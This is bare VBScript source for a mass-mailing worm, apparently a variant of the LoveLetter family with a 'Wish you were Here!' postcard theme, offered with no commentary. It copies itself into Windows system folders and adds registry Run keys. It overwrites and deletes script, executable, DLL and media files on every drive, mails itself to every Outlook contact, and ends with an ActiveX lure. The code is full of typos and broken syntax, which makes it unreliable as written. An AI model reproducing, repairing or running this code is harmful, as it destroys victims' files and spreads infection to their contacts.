On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject ("Scripting.FileSystemObject") set file = fso.OpenTextFile (WScript.ScriptFullname,1) vbscopy=file.ReadAll main () sub main () On Error Resume Next dim wscr, rr set wscr=CreateObject ("WScript.Shell") rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\/software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder (0) Set dirsystem = fso.GetSpecialFolder (1) Set dirtemp = fso.GetSpecialFolder (2) Set c = fso.GetFile (WScript.ScriptFullName) c.Copy (dirsystem&"\MSKernel32.vbs") c.Copy (dirwin&"\Win32DLL.vbs") c.Copy (dirsystem&"\Wish you were Here!.postcard.vbs") regruns () html () spreadtoemail () listadriv () end sub sub regruns () On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run\MSKernel23",dirsystem&"\MSKernel23.vbs" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32.DLL.vbs" downread="" Downread=regget ("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist (d.path&"\") end if Next Listadriv = s end sub sub infectfiles (folderspec) On Error Resume Next dim f,fl,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder (folderspec) set fc = f.Files for each fL in fc ext=fso.GetExtensionName (fL.path) ext=lcase (ext) s=lcase (fl.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile (fl.path,2,true) ap.write vbscopy ap.close elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")or (ext="hta") then set ap+fso.OpenTextFile (fl.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName (fl.path) set cop=fso.GetFile (fl.path) cop.copy (folderspec&"\"&bname&".vbs") fso.DeleteFIle (fl.path) elseif (ext="dll") or (ext="exe") then set dll=fso.OpenTextFile 9fl.path,2,true) dll.write vbscopy dll.close set cop=fso.GetFile (fl.path) cop.copy(fl.path&".vbs") fso.DeleteFile(fl.path) elseif (ext="mp3") or (ext="ini") then set mp3=fso.OpenTextFile 9fl.path,2,true) mo3.write vbscopy mp3.close set att=fso.GetFile (fl.path) att.attributes=att.attributes+2 end if next end sub ssub folderlist (folderspec) On error Resume Next dim f,fl,sf set f = fso.GetFolder (folderspec) set sf = f.SubFolders for each fl in sf infectfiles (fl.path) folderlist(fl.path) next end sub sub regcreate (regkey,regvalue) Set regedit = CreateObject ("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget (value) Set regedit = CreateObject ("WScript.shell") regedit.RegRead (value) end function function fileexist (filespec) On Error Resume NExt dom msg if (fso.FileExists (filespec) ) then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist (folderspec) On Error Resume Next dim msg if (fso.GetFOlderExists (folderspec) ) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail () On Error REsume NExt dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject ("Wscript.Shell") set out=WScript.CreateObject ("Outlook.Application") set mapi=out>GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists (ctrlists) x=1 regv=regedit.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv) ) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries (x) regad="" regad=regedit.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad+"") then set male=out.CreateItem (0) male.Recipients.Add (malead) male.Subject = "Wish you were Here!" male.Body = vbcrlf&"Wish you were Here! Im having a great time!" male.Attachments.Add(dirsystem&"\Wish you were Here!.postcard.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub On Error Resume NExt dim lines,n,dtal,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dtal="
This HTML file needs ActiveX Control-?p>
To Enable to read this HTML file
- Please Press the
#-#YES#-# button to Enable ActiveX-?p>"&vbcrlf&"
-?CENTER>